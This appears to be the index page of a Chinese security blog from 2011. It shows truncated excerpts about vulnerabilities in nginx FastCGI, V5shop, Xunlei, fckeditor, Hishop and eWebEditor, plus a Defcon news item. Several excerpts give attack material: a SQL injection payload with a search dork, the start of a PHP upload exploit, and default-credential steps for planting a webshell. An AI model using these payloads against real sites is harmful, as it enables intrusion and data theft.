nginx fastcgi配置失误+解析漏洞引发的漏洞

  • 2011-09-13
  • 安全
  • 暂无评论
  • 1.93K次阅读

现在一定还有很多网站用的nginx，自从N个月以前的nginx解析漏洞以来，现在差不多都修复了，一般语句都是这么写的 if ( $fastcgi_script_name ~ ..*/.*php ) { return 403; } 当匹配*/*.php*的时候则返回403 但是有些fastcgi配置的却不只有.php，有些甚至配置了ph*，（网上有一篇文章就是这么写的） 这样.ph*就没法匹配.ph...

- 阅读全文 -

V5shop注入漏洞

  • 2011-08-22
  • 安全
  • 1 条评论
  • 2.21K次阅读

漏洞危害：高危 一、漏洞文件：cart.aspx 搜索关键词：inurl:scoreindex.aspx exp ： /cart.aspx?act=buy&id=1 and (Select Top 1 char(124)%2BisNull(cast([Name] as varchar(8000)),char(32))%2Bchar(124)%2BisNull(cast([Pass] as ...

- 阅读全文 -

关于迅雷离线功能存在设计漏洞

  • 2011-08-21
  • 安全
  • 暂无评论
  • 1.5K次阅读

本人一直都在共享着自己使用的VIP迅雷账号， 但更新过几次都是在几天之后提示密码错误，  用密保把密码改回来发现安全邮箱被改成@QQ.COM的 E-Mail地址了 用IE8.0更改无法查看“老是提示验证码错误”，用Opera浏览器可看到一半（如图）   我自己从来都没用QQ E-mail做为安全邮箱，进迅雷离线发现原来可以在离线功能处可以更改安全邮箱（如图） PS：共享迅雷VIP账号有风...

- 阅读全文 -

fckeditor 2.6.4 任意文件上传漏洞

  • 2011-08-21
  • 安全
  • 1 条评论
  • 5.12K次阅读

描述：fckeditor 详细说明：currentfolder过滤不给力啊，但是GPC就能让它脑残!下面是利用工具！ 利用： <? error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); define(STDIN, fopen("php://stdin", "r")); $match = arr...

- 阅读全文 -

Hishop5.4和5.4.1 漏洞利用

  • 2011-08-21
  • 安全
  • 1 条评论
  • 2.5K次阅读

hishop 自从09年 5.1 和5.1.3爆过漏洞之后就没爆了。。 前段时间看了下，找到一个注入点，不过语句有点复杂而且还过滤了下划线（表名当中都有下划线），所以需要特别构造下， 这个注入点再结合iis6就能拿shell了。 前几天看到了toby57大牛dz1.5的exp， 看的我荡漾了，所以下午花了点时间，看了下PHP，学着写了个php的exp。 大牛别笑哈。。 选这种类似的URL 拿she...

- 阅读全文 -

eWebEditor5.5 漏洞

  • 2011-08-20
  • 安全
  • 暂无评论
  • 3.42K次阅读

作者：脚本小子 Google搜索：inurl:xxhs.asp?classid= 漏洞eWebEditor5.5 拿webshell方法 直接进后台eWebEditor/admin/login.asp 默认账号密码 admin admin 登陆后台点击“样式管理” 在popup样式管理 修改 路径模式：选择绝对路径 图片类型：gif|jpg|jpeg|bmpasp|asa|aaspsp|cer|c...

- 阅读全文 -

10岁少年女黑客发现社交网络游戏中的农场漏洞

  • 2011-08-07
  • 新闻
  • 暂无评论
  • 1.56K次阅读

拉斯维加斯Defcon的最新消息，一名化名为CyFi的10岁女黑客，独立安全研究人员宣告了一个iOS和Android设备上的游戏漏洞，她最早在2011年1月份发现了这些漏洞，因为她“对农场的游戏感到厌烦”，因此决定披露它。 这个漏洞可以让玩家更改作物成熟的时间，从而对游戏厂商的正常规则提出挑战。尽管多数游戏开发商会阻止这种“催熟”作物的行为，但CyFi还是表示已经发现了破解的方法。 这名年轻的黑客...

- 阅读全文 -